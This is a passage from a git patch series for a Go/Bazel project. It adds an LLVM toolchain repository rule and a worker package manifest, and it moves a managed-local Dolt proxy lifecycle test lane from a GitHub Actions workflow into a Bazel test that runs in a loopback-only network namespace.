LLDB, clangd, +...), and toolchains_llvm puts every bin/ file into each cgo action's inputs. +This repository keeps clang, lld, the binutils replacements and the clang +resource headers (~700MB), fetched from the same pinned archive by sha256, +and lays them out as toolchains_llvm's own distribution repository does, so +it plugs in through `llvm.toolchain_root`. +""" + +def _llvm_dist_impl(rctx): + archive = "_llvm.tar.xz" + rctx.download(url = rctx.attr.urls, output = archive, sha256 = rctx.attr.sha256) + res = rctx.execute( + ["tar", "-xJf", archive, "--strip-components=1"] + + [rctx.attr.strip_prefix + "/" + m for m in rctx.attr.members], + timeout = 3600, + ) + if res.return_code != 0: + fail("llvm_dist: extracting %s failed:\n%s" % (rctx.attr.urls[0], res.stderr)) + rctx.delete(archive) + + # toolchains_llvm symlinks a fixed tool list into its toolchain package; + # tools this repository leaves out get a stub that fails loudly if run. + for tool in rctx.attr.stub_tools: + rctx.file( + "bin/" + tool, + "#!/bin/sh\necho '%s is not part of this LLVM slice (third_party/cc_toolchain/llvm_dist.bzl)' >&2\nexit 1\n" % tool, + executable = True, + ) + + major = rctx.attr.llvm_version.split(".")[0] + rctx.file( + "BUILD.bazel", + rctx.read(Label("@toolchains_llvm//toolchain:BUILD.llvm_repo.tpl")).format(LLVM_VERSION = major), + ) + return rctx.repo_metadata(reproducible = True) + +llvm_dist = repository_rule( + implementation = _llvm_dist_impl, + attrs = { + "llvm_version": attr.string(mandatory = True), + "urls": attr.string_list(mandatory = True), + "sha256": attr.string(mandatory = True), + "strip_prefix": attr.string(mandatory = True), + "members": attr.string_list( + mandatory = True, + doc = "Archive paths (below strip_prefix) to extract.", + ), + "stub_tools": attr.string_list( + doc = "bin/ tools toolchains_llvm links to but no action here runs.", + ), + }, +) diff --git a/tools/rbe/worker-env.txt b/tools/rbe/worker-env.txt new file mode 100644 index 000000000..5f24a0f20 --- /dev/null +++ b/tools/rbe/worker-env.txt @@ -0,0 +1,38 @@ +arch x86_64 +dolt dolt version 2.1.8 +go go version go1.26.6 linux/amd64 +os ubuntu 24.04 +pkg bash 5.2.21-2ubuntu4 +pkg cmake 3.28.3-1build7 +pkg coreutils 9.4-3ubuntu6.1 +pkg diffutils 1:3.10-1build1 +pkg findutils 4.9.0-5build1 +pkg git 1:2.52.0-0ppa1~ubuntu24.04.3 +pkg grep 3.11-4build1 +pkg jq 1.7.1-3ubuntu0.24.04.2 +pkg libbz2-dev 1.0.8-5.1ubuntu0.1 +pkg libc6 2.39-0ubuntu8.6 +pkg libexpat1-dev 2.6.1-2ubuntu0.6 +pkg libffi-dev 3.4.6-1build1 +pkg libgcc-s1 14.2.0-4ubuntu2~24.04.1 +pkg libicu74 74.2-1ubuntu3.1 +pkg liblzma-dev 5.6.1+really5.4.5-1ubuntu0.3 +pkg liblzma5 5.6.1+really5.4.5-1ubuntu0.3 +pkg libncurses-dev 6.4+20240113-1ubuntu2.2 +pkg libreadline-dev 8.2-4build1 +pkg libsqlite3-dev 3.45.1-1ubuntu2.8 +pkg libstdc++6 14.2.0-4ubuntu2~24.04.1 +pkg libxml2 2.9.14+dfsg-1.3ubuntu3.9 +pkg libxml2-dev 2.9.14+dfsg-1.3ubuntu3.9 +pkg lsof 4.95.0-1build3 +pkg make 4.3-4.1build2 +pkg procps 2:4.0.4-4ubuntu3.2 +pkg python3-dev 3.12.3-0ubuntu2.1 +pkg sed 4.9-2build1 +pkg sqlite3 3.45.1-1ubuntu2.8 +pkg tar 1.35+dfsg-3build1 +pkg tmux 3.4-1ubuntu0.1 +pkg util-linux 2.39.3-9ubuntu6.4 +pkg xz-utils 5.6.1+really5.4.5-1ubuntu0.3 +pkg zlib1g 1:1.3.dfsg-3.1ubuntu2.2 +pkg zlib1g-dev 1:1.3.dfsg-3.1ubuntu2.2 From c292964571bc354a11866172b77b0afab1490a41 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 00:59:14 +0000 Subject: [PATCH 135/325] ci(bazel): run the managed-local proxied lifecycle lane under Bazel; retire proxied-local-smoke.yml (#7326) proxied-local-smoke.yml built bd and the cmd/bd test binary on a GitHub runner, installed the pinned dolt, and ran `-test.run ^TestManagedLocalProxied` under `sudo unshare --net` with only loopback up, to prove the managed-local lifecycle (bd -> loopback proxy -> dolt sql-server) needs no outbound network. //cmd/bd:bd_managed_local_test runs the same tests (BEADS_TEST_PROXIED_LOCAL=1, BEADS_TEST_SKIP=dolt, the non-race bd_for_tests as the bd under test, the pinned dolt from the test wrapper's PATH) through tools/bazel/go_test_offline.sh, which enters an unprivileged user + network namespace with only loopback up and fails if outbound network is reachable: the job's netns, without sudo, on the rbe-west workers. Tagged dolt-server-proxied, so bazel.yml's bazel-proxied lane (remote-only, required by pr.yml's gate) runs it; test result caching replaces the workflow's path filter. The job's "tests are compiled in" assertion becomes scripts/managed_local_lane_test.go, which evaluates cmd/bd's build constraints for a linux cgo build and requires each of the 17 pinned tests. The target joins the pinned retired-lane targets in TestBazelRetiredLanesCannotBeNarrowed. proxied-local-smoke.yml and the policy tests that pinned its job and its dolt version are removed (the Bazel dolt pin is already enforced against install-dolt.sh). Refs: ga-96smfk.19 Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 4 +- .github/workflows/bazel.yml | 9 +- .github/workflows/proxied-local-smoke.yml | 189 ------------------ cmd/bd/BUILD.bazel | 51 +++++ .../backup_proxied_local_integration_test.go | 6 +- cmd/bd/proxied_local_dolt_lifecycle_test.go | 4 +- cmd/bd/proxied_local_lifecycle_linux_test.go | 2 +- scripts/BUILD.bazel | 1 + scripts/ci_f7c_advisory_test.go | 3 - scripts/ci_workflow_test.go | 31 +-- scripts/managed_local_lane_test.go | 81 ++++++++ scripts/pr_risk_bazel_coverage_test.go | 8 + tools/bazel/BUILD.bazel | 7 + tools/bazel/go_test_offline.sh | 24 +++ 14 files changed, 189 insertions(+), 231 deletions(-) delete mode 100644 .github/workflows/proxied-local-smoke.yml create mode 100644 scripts/managed_local_lane_test.go create mode 100755 tools/bazel/go_test_offline.sh diff --git a/.bazelrc b/.bazelrc index cc0c1affb..705245c2b 100644 --- a/.bazelrc +++ b/.bazelrc @@ -145,7 +145,9 @@ test:doltserver --local_test_jobs=4 test:doltserver --remote_download_regex=.*/test\.(log|xml)$ # Proxied-server tier: PR Risk's "Test (Proxied Dolt Cmd N/15)" jobs, as -# //cmd/bd:bd_proxied_test (dolt-server-proxied tag). Kept out of +# //cmd/bd:bd_proxied_test and //cmd/bd:bd_managed_local_test (the +# managed-local lifecycle in a loopback-only network namespace) (the +# dolt-server-proxied tag). Kept out of # --config=doltserver because bazel.yml runs that lane locally too (forks, # rbe=off), where 30 concurrent shards, each with a dolt sql-server busy on # ~4 cores, do not fit regardless of any single shard's wall time; bazel.yml diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index a01f57943..07355f39c 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1469,9 +1469,12 @@ jobs: # bd_for_tests), shared with bazel-doltserver through the remote cache. # PR Risk builds its bd-cmd-test with -race, as here; main.yml's # test-proxied-cmd twin uses build-artifacts' non-race bd-cmd-test, so - # this lane is the stricter of the two. A job of its own, not gated by - # any integration switch: it runs in pr.yml's call and its gate requires - # it (BAZEL_PROXIED). + # this lane is the stricter of the two. It also runs + # //cmd/bd:bd_managed_local_test, the managed-local proxied lifecycle + # (formerly proxied-local-smoke.yml) in a loopback-only network + # namespace, which needs the workers' unprivileged user namespaces. A job + # of its own, not gated by any integration switch: it runs in pr.yml's + # call and its gate requires it (BAZEL_PROXIED). bazel-proxied: name: proxied-server tier # Remote execution only, like bazel-embedded: 30 concurrent shards, each diff --git a/.github/workflows/proxied-local-smoke.yml b/.github/workflows/proxied-local-smoke.yml deleted file mode 100644 index dbfad62e5..000000000 --- a/.github/workflows/proxied-local-smoke.yml +++ /dev/null @@ -1,189 +0,0 @@ -# Managed-local proxied lifecycle lane. -# -# The proxied shards in main.yml exercise command behavior against an -# EXTERNALLY managed Dolt testcontainer. This lane covers the production -# local-first path those shards cannot: bd launches its own loopback proxy, -# the proxy launches a locally installed `dolt sql-server`, and the whole -# lifecycle (create/read, loopback-only listeners, idle shutdown, -# transparent restart with persistence), identity failures, orphan recovery, -# and start/stop convergence run INSIDE a network namespace with only -# loopback up — proving no outbound network is needed once the binaries are -# installed. Linux first; the test lane defines Windows/macOS parity but does -# not implement those OS-specific observation helpers yet. - -name: Proxied Local Lifecycle - -on: - workflow_dispatch: - merge_group: - push: - branches: [main] - paths: - - 'cmd/bd/proxied_local_*' - - 'cmd/bd/proxied_server*.go' - - 'cmd/bd/dolt*.go' - - 'cmd/bd/*_proxied_server.go' - - 'cmd/bd/backup*.go' - - 'cmd/bd/purge*.go' - - 'cmd/bd/*managed_local*' - - 'cmd/bd/proxied_outage_reconnect_integration_test.go' - - 'cmd/bd/db_proxy_child.go' - - 'cmd/bd/init*.go' - - 'cmd/bd/proxied_integration_helpers_test.go' - - 'cmd/bd/store_factory*.go' - - 'cmd/bd/test_dolt_server_cgo_test.go' - - 'cmd/bd/tracker_proxy_uow_conformance_integration_test.go' - - 'cmd/bd/uow_factory.go' - - 'internal/configfile/**' - - 'internal/doltserver/**' - - 'internal/storage/dbproxy/**' - - 'internal/storage/uow/**' - - 'internal/tracker/conformance/**' - - 'internal/tracker/uow_store.go' - - 'internal/tracker/engine.go' - - 'internal/tracker/store.go' - - 'go.mod' - - 'go.sum' - - '.github/workflows/proxied-local-smoke.yml' - pull_request: - paths: - - 'cmd/bd/proxied_local_*' - - 'cmd/bd/proxied_server*.go' - - 'cmd/bd/dolt*.go' - - 'cmd/bd/*_proxied_server.go' - - 'cmd/bd/backup*.go' - - 'cmd/bd/purge*.go' - - 'cmd/bd/*managed_local*' - - 'cmd/bd/proxied_outage_reconnect_integration_test.go' - - 'cmd/bd/db_proxy_child.go' - - 'cmd/bd/init*.go' - - 'cmd/bd/proxied_integration_helpers_test.go' - - 'cmd/bd/store_factory*.go' - - 'cmd/bd/test_dolt_server_cgo_test.go' - - 'cmd/bd/tracker_proxy_uow_conformance_integration_test.go' - - 'cmd/bd/uow_factory.go' - - 'internal/configfile/**' - - 'internal/doltserver/**' - - 'internal/storage/dbproxy/**' - - 'internal/storage/uow/**' - - 'internal/tracker/conformance/**' - - 'internal/tracker/uow_store.go' - - 'internal/tracker/engine.go' - - 'internal/tracker/store.go' - - 'go.mod' - - 'go.sum' - - '.github/workflows/proxied-local-smoke.yml' - -permissions: - contents: read - -jobs: - managed-local-smoke: - name: Managed-local proxied lifecycle (Linux, offline) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 25 - env: - CGO_ENABLED: "1" - # Pinned so the lane tests a known dolt CLI, not whatever the installer - # resolves on a given day. Bump deliberately, and only in lockstep with - # the measured pin in scripts/ci/install-dolt.sh (see "Which Dolt - # version to install" in docs/architecture/dolt.md). - DOLT_VERSION: 2.2.0 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: ${{ runner.environment == 'github-hosted' }} - - # F7c review fix S5: this job's own key copy must match main.yml's - # seeder key byte-for-byte (TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers), - # which now keys by UTC calendar day instead of github.sha so main - # pushes don't churn a multi-GB cache entry on every commit; this step - # computes that same day value locally so the key expression below - # resolves (steps.* references only resolve within the same job). - - name: Compute cache date - id: cache-date - if: runner.environment == 'self-hosted' - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Blacksmith setup-go cache - if: runner.environment == 'self-hosted' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/go/pkg/mod - ~/.cache/go-build - key: blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: | - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}- - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Install pinned Dolt CLI - run: | - curl -fsSL "https://github.com/dolthub/dolt/releases/download/v${DOLT_VERSION}/dolt-linux-amd64.tar.gz" -o /tmp/dolt.tar.gz - tar -xzf /tmp/dolt.tar.gz -C /tmp - sudo install /tmp/dolt-linux-amd64/bin/dolt /usr/local/bin/dolt - dolt version - - - name: Build bd and compile the test binary (online) - run: | - go build -tags gms_pure_go -o /tmp/bd-under-test ./cmd/bd - go test -tags gms_pure_go -c -o /tmp/proxied-local-smoke.test ./cmd/bd - - - name: Assert the managed-local lifecycle tests are compiled in - run: | - listed="$( - BEADS_TEST_PROXIED_LOCAL=1 \ - BEADS_TEST_SKIP=dolt \ - /tmp/proxied-local-smoke.test \ - -test.list '^TestManagedLocalProxied' - )" - for test_name in \ - TestManagedLocalProxiedLifecycleSmoke \ - TestManagedLocalProxiedForeignListenerNotAdopted \ - TestManagedLocalProxiedReusedPidNeverKilled \ - TestManagedLocalProxiedLegacyRecordFailClosed \ - TestManagedLocalProxiedOrphanBackendReaped \ - TestManagedLocalProxiedNProcessColdStartConvergence \ - TestManagedLocalProxiedStopStartInterleave \ - TestManagedLocalProxiedDoltStatusReportsLiveTopology \ - TestManagedLocalProxiedDoltStartRefusesOverLiveProxy \ - TestManagedLocalProxiedDoltStartRefusesWithProxyDown \ - TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone \ - TestManagedLocalProxiedTrackerUOWConformance \ - TestManagedLocalProxiedBackupRoundTrip \ - TestManagedLocalProxiedAutoBackup \ - TestManagedLocalProxiedBackupRestoreRefusedWhileAttached \ - TestManagedLocalProxiedPurgeWispsPlaneRetention \ - TestManagedLocalProxiedBackendCleanExitRetiresProxy - do - if ! grep -qx "$test_name" <<<"$listed"; then - echo "managed-local lifecycle test $test_name is missing; got: '$listed'" >&2 - exit 1 - fi - done - - - name: Run managed-local lifecycle lane offline (loopback-only netns) - run: | - sudo env \ - "PATH=$PATH" \ - BEADS_TEST_PROXIED_LOCAL=1 \ - BEADS_TEST_SKIP=dolt \ - BEADS_TEST_BD_BINARY=/tmp/bd-under-test \ - unshare --net -- bash -euxc ' - ip link set lo up - # Prove the namespace really has no outbound network before - # trusting anything the test reports. - if timeout 3 bash -c "exec 3<>/dev/tcp/1.1.1.1/443" 2>/dev/null; then - echo "outbound network unexpectedly available inside the netns" >&2 - exit 1 - fi - cd cmd/bd - /tmp/proxied-local-smoke.test \ - -test.run "^TestManagedLocalProxied" \ - -test.v -test.timeout 15m - ' diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 21a8fe722..9c4e304f5 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1488,6 +1488,57 @@ sh_test( tags = ["dolt-server-proxied"], ) +# The managed-local proxied lifecycle lane (formerly proxied-local-smoke.yml): +# the TestManagedLocalProxied* tests, where bd launches its own loopback +# proxy and the proxy launches the pinned dolt (first on PATH via the test +# wrapper) as `dolt sql-server`, run inside a user + network namespace with +# only loopback up (tools/bazel/go_test_offline.sh, the job's `sudo unshare +# --net`), so they prove the lifecycle needs no outbound network. Against +# this configuration's (race) bd_test, with the non-race bd_for_tests as the +# bd under test; BEADS_TEST_SKIP=dolt as in the job (no shared test server: +# every test supervises its own; BEADS_TEST_DOLT_SERVER/REQUIRE are the +# dolt-server lanes' convention and start nothing here). Unsharded: Go's +# sharding counts every test in the binary, not the -test.run matches, so +# most shards would run none. scripts/managed_local_lane_test.go fails if a +# test the job pinned is no longer compiled into a linux cgo build. It repeats +# bd_test's `env`. +# +# Tags: +# dolt-server-proxied: the proxied-server tier; starts dolt sql-servers; +# excluded from --config=prcore/ci, selected by --config=doltserver-proxied +# (bazel.yml's bazel-proxied lane, remote execution only: the namespace +# needs the workers' unprivileged user namespaces). +sh_test( + name = "bd_managed_local_test", + size = "large", + # -test.timeout=15m (the job's) fires with a goroutine dump before + # Bazel's 1200s action limit (eternal under the lane's --test_timeout). + timeout = "eternal", + srcs = ["//tools/bazel:go_test_offline.sh"], + args = [ + "$(rootpath :bd_test)", + "-test.run=^TestManagedLocalProxied", + "-test.timeout=15m", + ], + data = [ + ":bd_for_tests", + ":bd_test", + ":go_srcs", + ":preflight_go_fixture", + "@go_sdk//:bin/gofmt", + ], + env = { + "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd_for_tests)", + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", + "BEADS_TEST_PREFLIGHT_GO": "$(rlocationpath :preflight_go_fixture)", + "BEADS_TEST_PROXIED_LOCAL": "1", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "BEADS_TEST_SKIP": "dolt", + }, + tags = ["dolt-server-proxied"], +) + # The whole cmd/bd suite, as --config=doltserver-cmd builds it (exactly # --config=integration's build: the integration and gms_pure_go build tags, # race, so the two lanes share bd_test's compile), against a hermetic dolt sql-server: diff --git a/cmd/bd/backup_proxied_local_integration_test.go b/cmd/bd/backup_proxied_local_integration_test.go index 166d9ab94..2edd01cfa 100644 --- a/cmd/bd/backup_proxied_local_integration_test.go +++ b/cmd/bd/backup_proxied_local_integration_test.go @@ -29,9 +29,9 @@ import ( // gone. Both directions are load-bearing — a restore that changed nothing would // pass the first check alone. // -// Named TestManagedLocalProxied* so the proxied-local smoke lane -// (.github/workflows/proxied-local-smoke.yml) runs it; that lane is the only -// one that sets BEADS_TEST_PROXIED_LOCAL. +// Named TestManagedLocalProxied* so the managed-local lane +// (//cmd/bd:bd_managed_local_test) runs it; that lane is the only one that +// sets BEADS_TEST_PROXIED_LOCAL. func TestManagedLocalProxiedBackupRoundTrip(t *testing.T) { requireManagedLocalProxiedEnv(t) diff --git a/cmd/bd/proxied_local_dolt_lifecycle_test.go b/cmd/bd/proxied_local_dolt_lifecycle_test.go index c3ef948d0..b5fb991b5 100644 --- a/cmd/bd/proxied_local_dolt_lifecycle_test.go +++ b/cmd/bd/proxied_local_dolt_lifecycle_test.go @@ -6,8 +6,8 @@ package main // MANAGED-LOCAL proxied workspace, plus the direct/embedded control that keeps // the proxied guard from leaking into topologies bd really does manage. // -// These live in the managed-local lane (TestManagedLocalProxied* runs under -// proxied-local-smoke.yml) because they are the only lane with a real proxy +// These live in the managed-local lane (TestManagedLocalProxied* runs in +// //cmd/bd:bd_managed_local_test) because they are the only lane with a real proxy // supervising a real dolt child: the defects being covered are about which // process record bd reads and which process bd spawns, and neither is // observable against an external testcontainer. diff --git a/cmd/bd/proxied_local_lifecycle_linux_test.go b/cmd/bd/proxied_local_lifecycle_linux_test.go index fd5c0e7d1..d8d602685 100644 --- a/cmd/bd/proxied_local_lifecycle_linux_test.go +++ b/cmd/bd/proxied_local_lifecycle_linux_test.go @@ -22,7 +22,7 @@ package main // -run '^TestManagedLocalProxied' -v // // CI additionally runs it inside a network namespace with only loopback up -// (see .github/workflows/proxied-local-smoke.yml), proving the whole +// (//cmd/bd:bd_managed_local_test, tools/bazel/go_test_offline.sh), proving the whole // lifecycle needs no outbound network once bd and dolt are installed. // When BEADS_TEST_PROXIED_LOCAL=1 is set, missing prerequisites or a Dolt // child that fails to launch FAIL the test rather than skipping. diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 07f33cdc0..0eaa8a45f 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -40,6 +40,7 @@ go_test( "embedded_shard_count_test.go", "host_tools_test.go", "install_dolt_test.go", + "managed_local_lane_test.go", "pr_lanes_bazel_coverage_test.go", "pr_preflight_test.go", "pr_risk_bazel_coverage_test.go", diff --git a/scripts/ci_f7c_advisory_test.go b/scripts/ci_f7c_advisory_test.go index 668756030..8b20298fa 100644 --- a/scripts/ci_f7c_advisory_test.go +++ b/scripts/ci_f7c_advisory_test.go @@ -698,7 +698,6 @@ var blacksmithAdvisoryWorkflows = []string{ "migration-test.yml", "cross-version-smoke.yml", "docs-mintlify.yml", - "proxied-local-smoke.yml", "main.yml", } @@ -756,7 +755,6 @@ var advisoryBlacksmithRunnerJobs = []struct { {"cross-version-smoke.yml", "smoke", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, {"cross-version-smoke.yml", "versions", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, {"docs-mintlify.yml", "broken-links", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, - {"proxied-local-smoke.yml", "managed-local-smoke", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, } // TestF7cAdvisorySameRepoBlacksmithExpressionSemantics evaluates each F7c @@ -825,7 +823,6 @@ var blacksmithSetupGoCacheConsumers = map[string][]string{ "regression.yml": {"regression"}, "migration-test.yml": {"historical-upgrades"}, "cross-version-smoke.yml": {"smoke"}, - "proxied-local-smoke.yml": {"managed-local-smoke"}, } // blacksmithSetupGoCacheKeyNamespace is the self-defined cache key prefix diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 3e6fd4bd9..ecac502de 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -2464,32 +2464,6 @@ func TestPinnedDoltCLIMatchesContainerImage(t *testing.T) { } } -// TestProxiedLocalSmokeMatchesPinnedDoltVersion keeps the proxied-local-smoke -// lane's standalone Dolt CLI install on the same release as the rest of the -// suite. That lane downloads its own dolt binary straight from GitHub -// releases instead of going through scripts/ci/install-dolt.sh, so nothing -// else catches it drifting off the measured pin (see "Which Dolt version to -// install" in docs/architecture/dolt.md for why the pin is not just "latest"). -func TestProxiedLocalSmokeMatchesPinnedDoltVersion(t *testing.T) { - root := sourceRepoRoot(t) - - installer, err := os.ReadFile(filepath.Join(root, "scripts", "ci", "install-dolt.sh")) - if err != nil { - t.Fatal(err) - } - cliVersion := captureOne(t, `(?m)^readonly version="([0-9]+\.[0-9]+\.[0-9]+)"$`, string(installer), "scripts/ci/install-dolt.sh") - - workflow, err := os.ReadFile(filepath.Join(root, ".github", "workflows", "proxied-local-smoke.yml")) - if err != nil { - t.Fatal(err) - } - smokeVersion := captureOne(t, `(?m)^\s*DOLT_VERSION:\s*([0-9]+\.[0-9]+\.[0-9]+)\s*$`, string(workflow), "proxied-local-smoke.yml:DOLT_VERSION") - - if cliVersion != smokeVersion { - t.Errorf("dolt pins disagree: CLI %s, proxied-local-smoke.yml DOLT_VERSION %s", cliVersion, smokeVersion) - } -} - func captureOne(t *testing.T, pattern, body, source string) string { t.Helper() @@ -2716,7 +2690,7 @@ const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' && // F7c: used to define its own sameRepoBlacksmith4vcpu here (same expression // as sameRepoBlacksmith2vcpu with the 4 vCPU label, for advisory jobs that // compile Go: regression.yml, migration-test.yml, -// cross-version-smoke.yml, proxied-local-smoke.yml). F7a independently +// cross-version-smoke.yml). F7a independently // defined the same const; both are now served by the single shared // sameRepoBlacksmith4vcpu in ci_blacksmith_runner_test.go. migration-test.yml's // historical-upgrades job uses sameRepoBlacksmith4vcpuNoble instead (below). @@ -3063,7 +3037,6 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { "migration-test.yml": {"historical-upgrades": sameRepoBlacksmith4vcpuNoble}, "cross-version-smoke.yml": {"smoke": sameRepoBlacksmith4vcpu, "versions": sameRepoBlacksmith2vcpu}, "docs-mintlify.yml": {"broken-links": sameRepoBlacksmith2vcpu}, - "proxied-local-smoke.yml": {"managed-local-smoke": sameRepoBlacksmith4vcpu}, // main.yml's seeder job (B2, F7c implementation report) is the one // Blacksmith job that is NOT gated by the same-repo-PR expression: it // is push-to-main only (always trusted), so it wraps the literal @@ -3128,7 +3101,7 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { for _, file := range []string{ "pr.yml", "pr-risk.yml", "main.yml", "regression.yml", "migration-test.yml", - "cross-version-smoke.yml", "docs-mintlify.yml", "proxied-local-smoke.yml", + "cross-version-smoke.yml", "docs-mintlify.yml", } { workflow := readCIWorkflow(t, file) allowed := want[file] diff --git a/scripts/managed_local_lane_test.go b/scripts/managed_local_lane_test.go new file mode 100644 index 000000000..d09808c90 --- /dev/null +++ b/scripts/managed_local_lane_test.go @@ -0,0 +1,81 @@ +package scripts_test + +import ( + "go/build" + "os" + "path/filepath" + "regexp" + "strings" + "testing" +) + +// managedLocalLaneTests are the managed-local proxied lifecycle tests the +// retired proxied-local-smoke.yml asserted were compiled into its test binary +// before it ran `-test.run ^TestManagedLocalProxied`. They now run in +// //cmd/bd:bd_managed_local_test, whose -test.run would silently match fewer +// tests if a build constraint dropped one. +var managedLocalLaneTests = []string{ + "TestManagedLocalProxiedLifecycleSmoke", + "TestManagedLocalProxiedForeignListenerNotAdopted", + "TestManagedLocalProxiedReusedPidNeverKilled", + "TestManagedLocalProxiedLegacyRecordFailClosed", + "TestManagedLocalProxiedOrphanBackendReaped", + "TestManagedLocalProxiedNProcessColdStartConvergence", + "TestManagedLocalProxiedStopStartInterleave", + "TestManagedLocalProxiedDoltStatusReportsLiveTopology", + "TestManagedLocalProxiedDoltStartRefusesOverLiveProxy", + "TestManagedLocalProxiedDoltStartRefusesWithProxyDown", + "TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone", + "TestManagedLocalProxiedTrackerUOWConformance", + "TestManagedLocalProxiedBackupRoundTrip", + "TestManagedLocalProxiedAutoBackup", + "TestManagedLocalProxiedBackupRestoreRefusedWhileAttached", + "TestManagedLocalProxiedPurgeWispsPlaneRetention", + "TestManagedLocalProxiedBackendCleanExitRetiresProxy", +} + +// TestManagedLocalLaneTestsCompileIntoBdTest is the job's "Assert the +// managed-local lifecycle tests are compiled in" step: each pinned test is +// defined in a cmd/bd _test.go file that a linux/amd64 cgo build with +// bd_test's tags (gms_pure_go, no integration) compiles. +func TestManagedLocalLaneTestsCompileIntoBdTest(t *testing.T) { + dir := filepath.Join(sourceRepoRoot(t), "cmd", "bd") + ctx := build.Default + ctx.GOOS, ctx.GOARCH, ctx.CgoEnabled = "linux", "amd64", true + ctx.BuildTags = []string{"gms_pure_go"} + + entries, err := os.ReadDir(dir) + if err != nil { + t.Fatal(err) + } + defined := map[string]string{} + funcRe := regexp.MustCompile(`(?m)^func (TestManagedLocalProxied\w*)\(`) + for _, e := range entries { + name := e.Name() + if e.IsDir() || !strings.HasSuffix(name, "_test.go") { + continue + } + match, err := ctx.MatchFile(dir, name) + if err != nil { + t.Fatalf("%s: %v", name, err) + } + if !match { + continue + } + data, err := os.ReadFile(filepath.Join(dir, name)) + if err != nil { + t.Fatal(err) + } + for _, m := range funcRe.FindAllStringSubmatch(string(data), -1) { + defined[m[1]] = name + } + } + for _, name := range managedLocalLaneTests { + if _, ok := defined[name]; !ok { + t.Errorf("%s is not defined in any cmd/bd test file a linux cgo build of bd_test compiles", name) + } + } + if len(defined) < len(managedLocalLaneTests) { + t.Errorf("found %d TestManagedLocalProxied* tests, want at least %d: %v", len(defined), len(managedLocalLaneTests), defined) + } +} diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 0fc4c84e8..291ae121e 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -1734,6 +1734,14 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", "BEADS_TEST_REQUIRE_SOCAT": "1", "GOMAXPROCS": "4", }, }, + "//cmd/bd:bd_managed_local_test": { + []string{"$(rootpath :bd_test)", "-test.run=^TestManagedLocalProxied", "-test.timeout=15m"}, + map[string]string{ + "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd_for_tests)", "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", "BEADS_TEST_PREFLIGHT_GO": "$(rlocationpath :preflight_go_fixture)", + "BEADS_TEST_PROXIED_LOCAL": "1", "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", "BEADS_TEST_SKIP": "dolt", + }, + }, "//internal/storage/dolt:dolt_server_conformance_test": { []string{"$(rootpath :dolt_race_off)", "-test.v", "-test.count=1", "-test.timeout=15m", "-test.run=^TestConformance$$"}, map[string]string{"BEADS_TEST_DOLT_SERVER": "local", "BEADS_TEST_GIT_IDENTITY": "1", "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", "GOMAXPROCS": "4"}, diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index 8c05827d0..9d9e372c0 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -27,6 +27,13 @@ exports_files( visibility = ["//visibility:public"], ) +# sh_test src that runs an existing go_test binary with no network but +# loopback (see the script header), e.g. //cmd/bd:bd_managed_local_test. +exports_files( + ["go_test_offline.sh"], + visibility = ["//visibility:public"], +) + # Wraps every test process (`test --run_under` in .bazelrc) with the isolated # HOME/XDG/Dolt/git environment that scripts/ci/lib/test-env.sh gives `go test`. # Bazel merges the run_under target's runfiles into every test's runfiles, so diff --git a/tools/bazel/go_test_offline.sh 